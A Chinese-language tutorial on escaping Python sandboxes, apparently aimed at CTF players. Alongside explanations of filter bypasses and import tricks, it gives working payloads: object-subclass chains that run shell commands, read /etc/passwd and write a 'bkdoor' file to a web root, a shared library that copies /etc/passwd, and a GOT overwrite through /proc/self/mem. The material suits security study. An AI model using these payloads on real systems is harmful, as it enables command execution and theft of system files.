# 沙箱逃逸

***

## 免责声明

`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`

***

**相关文章**

* [初探Python沙箱逃逸](https://qianfei11.github.io/2020/04/02/%E5%88%9D%E6%8E%A2Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/)
* [IS-pwn-escape-python沙箱逃逸](https://hitworld.github.io/posts/8722019b/)
* [Python 沙盒](http://dyf.ink/pwn/linux/sandbox/python-sandbox-escape/)
* [Python 沙箱逃逸的经验总结](https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/)

***

## 什么是沙箱逃逸

沙箱逃逸，就是在给我们的一个代码执行环境下，脱离种种过滤和限制，最终拿到 shell。

***

## python如何执行命令

python 可以使用以下几个模块执行系统命令

```py
import os
import subprocess
import commands
import pty

os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')

subprocess.call('ifconfig', shell = True)
subprocess.Popen('ifconfig', shell = True)

pty.spawn('ifconfig')
```

对于不同的 py 版本可能情况不一样,记得获取当前的 Python 环境

```py
import sys
print(sys.version)
```

### timeit 模块

用于测试小代码片段的运行时间（number 即表示测试的次数）：

```py
import timeit
timeit.timeit("__import__('os').system('pwd')", number=1)
```

### platform 模块

类似 os 模块的 popen，可以执行命令：

```py
import platform
platform.popen('pwd').read()
```

### codecs 模块

可以用来读文件：

```py
import codecs
codecs.open('test.py').read()
```

### exec()、eval()、execfile()、compile() 函数

exec()：动态运行代码段，返回值为 None

eval()：计算单个表达式的值，有返回值

execfile()：动态运行某个文件中的代码

compile()：将一个字符串编译为字节代码

```py
import os

o = compile("os.system('ifconfig')", '<string>', 'exec')
exec(o)
eval(o)
```

```py
# test.py
import os
os.system('ifconfig')

# test2.py
execfile("test.py")
```

***

## 字符串过滤的绕过

如果是某个字符串被过滤了，可以对它进行一些变换：

```py
d = {'key': 1}

print d['yek'[::-1]]
```

如果是关键字被过滤了，可以使用 getattr。getattr 接收两个参数，第一个是模块或对象，第二个是一个字符串。它会在模块或对象中搜索指定的函数或属性：

```py
import os

print getattr(os,'676574637764'.decode('hex'))()
```

也可以使用 `# coding:<encoding>` 编码整个文件.

***

## import 花式处理

import 关键字用来导入包，沙箱中对一些包或是函数进行了屏蔽，从 import 的不同方法到 import 的本质有多种不同的绕过方法。

### 使用其他的方式来导入其他包名

```py
__import__('pwn').__dict__["elf"]

__import__('Y29tbWFuZHM='.decode('base64')).getoutput('pwd')

import importlib

x = importlib.import_module('pbzznaqf'.decode('rot_13'))
print x.getoutput('pwd')
```

***

## f修饰符

在PEP 498(python > 3.6.0)中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码.可以理解为字符串外层套了一个exec().

```py
f'{print("test")}'

f'{__import__("os").system("whoami")}'
```

***

## 模块路径

Python 中的所有包都是以 .py 文件的形式存在的，说明所有 import 进来的包一开始都预先在某个位置了。一般和系统相关的信息都在 sys 下，使用 sys.path 查看各个包的路径：

```py
import sys

print sys.path

# sys 下还有一个 modules，返回一个字典，其中可以查看各个模块对应的系统路径。如果修改这个字典中的内容，前面使用的方法就都失效了
print sys.modules['os']
```

如果把 sys、os、reload 等一系列模块都过滤掉了，使用什么方法来绕过呢？导入模块的过程其实就是把对应模块的代码执行一遍的过程，在知道模块对应路径的情况下，就可以相应地执行它：

```py
execfile('/usr/lib/python2.7/os.py')
system('pwd')
```

在 execfile 被禁止的情况下，还可以用 open 读入文件，并使用 exec 来执行相应的代码：

```py
code = open('/usr/lib/python2.7/os.py', 'r').read()
exec code

print getcwd()
```

***

## 内置函数

python存在一些内置函数(即默认已经导入的函数),对应的内置模块\_\_builtins\_\_.

内置函数 dir() 在没有参数的时候返回本地作用域中的名称列表, 有参数的时候返回参数对象的有效属性列表. 可以通过 `dir(__builtins__)` 获取内置函数列表, 然后通过 dict 引入模块, dict 的作用是列出一个模组 / 类 / 对象下所有的属性和函数.

如果一些内置函数被删除, 可以通过 `reload(__builtins__)` 重新载入.

```
del __builtins__.__dict__['execfile']
```

在 python3.x 版本中,`__builtin__` 变成了 `builtins` 模块, 而且需要导入.

### dir 和 `__dict__`

dir 和 `__dict__` 可以用来查看类或对象下的所有属性信息：

```py
class A():
    def __init__(self):
        self.a = 'a'

print dir(A)

print A.__dict__
```

和 sys.modules 配合使用获得一个模块的引用：

```py
import sys

print dir(sys.modules[__name__])
```

### func\_code 的利用

函数的 func\_code 属性可以被用来查看函数的参数个数以及变量，还能看到函数对应的字节码：

```py
def f(x, y, z):
    a = 'secret'
    b = 2333

print f.func_code.co_argcount
print f.func_code.co_consts
print f.func_code.co_code
```

使用 dis 库可以获取函数对应汇编格式的字节码：

```py
import dis

def f(x, y, z):
    a = 'secret'
    b = 2333

print dis.dis(f)
```

### object类基础函数

Python 允许多重继承，即一个子类有多个父类。`__mro__` 属性可以用来查看一个子类所有的父类；`__bases__` 可以获取上一层的继承关系：

```py
class A(object): pass
class B(object): pass
class C(A, B): pass

print C.__bases__
print C.__mro__
print 1..__class__.__bases__
print 1..__class__.__mro__
print ''.__class__.__bases__
print ''.__class__.__mro__
```

python 的 object 类中集成了很多的基础函数, 可以通过创建对象来引用.

寻找特殊模块的方法:`__class__`, 获得当前对象的类;`__bases__`, 列出其基类;`__mro__`, 列出解析方法的调用顺序(即类的继承关系);`__subclasses__()`, 返回子类列表;`__dict__`, 列出当前属性 / 函数的字典; `func_globals`, 返回一个包含函数全局变量的字典引用.

比如 `().__class__.__bases__[0].__subclasses__()[40]` 对应的是 file 类.在 open 等文件操作被限制的情况下可以用下面的方法读取文件内容（`__subclasses__` 即用来查看对象的所有子类；

```py
''.__class__.__mro__[-1].__subclasses__()[40]('/usr/lib/python2.7/os.py').read()
1..__class__.__bases__[0].__subclasses__()[40]('/usr/lib/python2.7/os.py').read()
```

其他的一些执行命令的方法（通过获取其他已经载入了 os 等模块的类进行调用）：

```py
# 执行系统命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')

# 重新载入__builtin__
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtin__['__import__']("os").system("ls")

# 读文件
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()

# 写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/bkdoor', 'w').write('123')

# 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')

# 间接引用,python中原生的import是存在被引用的,只要找到相关对象引用就可以避开沙箱的限制.
print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('c'+'at flag')

# __globals__属性是函数特有的属性,记录当前文件全局变量的值,包括导入的模块.
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
```

可以编写一个函数对导入了 os 或 sys 的库进行一个遍历：

```py
#!/usr/bin/env python
all_modules = [
    'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'sre_parse', 'bz2', 'macpath', 'ssl', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'cmd', 'mimetools', 'sunau', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', 'colorsys', 'multifile', 'sysconfig', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', '_csv', 'difflib', 'parser', '_ctypes', 'dircache', 'pdb', '_ctypes_test', 'dis', 'pickle', '_curses', 'distutils', 'pickletools', '_curses_panel', 'doctest', 'pipes', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]
methods = ['os', 'sys', '__builtin__']
results = {}
for module in all_modules:
    results[module] = {
        'flag': 0,
        'result': {}
    }
    try:
        m = __import__(module)
        attrs = dir(m)
        for method in methods:
            if method in attrs:
                results[module]['flag'] = 1
                results[module]['result'][method] = '\033[1;31mYES\033[0m'
            else:
                results[module]['result'][method] = 'NO'
    except Exception as e:
        print module, e
for result in results:
    if results[result]['flag']:
        print '[*]', result
        for r in results[result]['result']:
            print '\t[+]', r, '=>', results[result]['result'][r]
```

***

## 伪 private 属性和函数

Python 中以双下划线开头的函数和属性是 private 的，但是这种 private 只是形式上的，表示这个函数不应该在本类之外的地方进行访问，而是否遵守则取决于具体的实现。公有的函数和属性，使用其名字直接进行访问；而私有的属性和函数，使用 `下划线+类名+函数名` 进行访问：

```py
class A():
    __a = 1
    b = 2
    def __c(self):
        pass
    def d(self):
        pass

print dir(A)
```

***

## 构造 so 库

编译一个 so 库，并写入指定的路径：

```c
// gcc test.c -shared -fPIC -o test.so

tee test.c <<-'EOF'
void my_init() __attribute__((constructor));
void my_init() {
    system("cat /etc/passwd > /tmp/passwd_bak");
}
EOF
```

调用 ctypes 来载入 so 库：

```py
# ''.__class__.__mro__[-1].__subclasses__()[235] => ctypes.CDLL
# ''.__class__.__mro__[-1].__subclasses__()[236] => ctypes.LibraryLoader

''.__class__.__mro__[-1].__subclasses__()[236](''.__class__.__mro__[-1].__subclasses__()[235]).LoadLibrary('test.so')

''.__class__.__mro__[-1].__subclasses__()[40]('/usr/lib/python2.7/os.py').read()
__import__('os').system('cat /tmp/passwd_bak')
```

***

## 修改 GOT 表

把 fopen 的 GOT 改为 system。先用 objdump 查找

```
objdump -R /usr/bin/python | grep -E "fopen|system"
```

```py
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
```
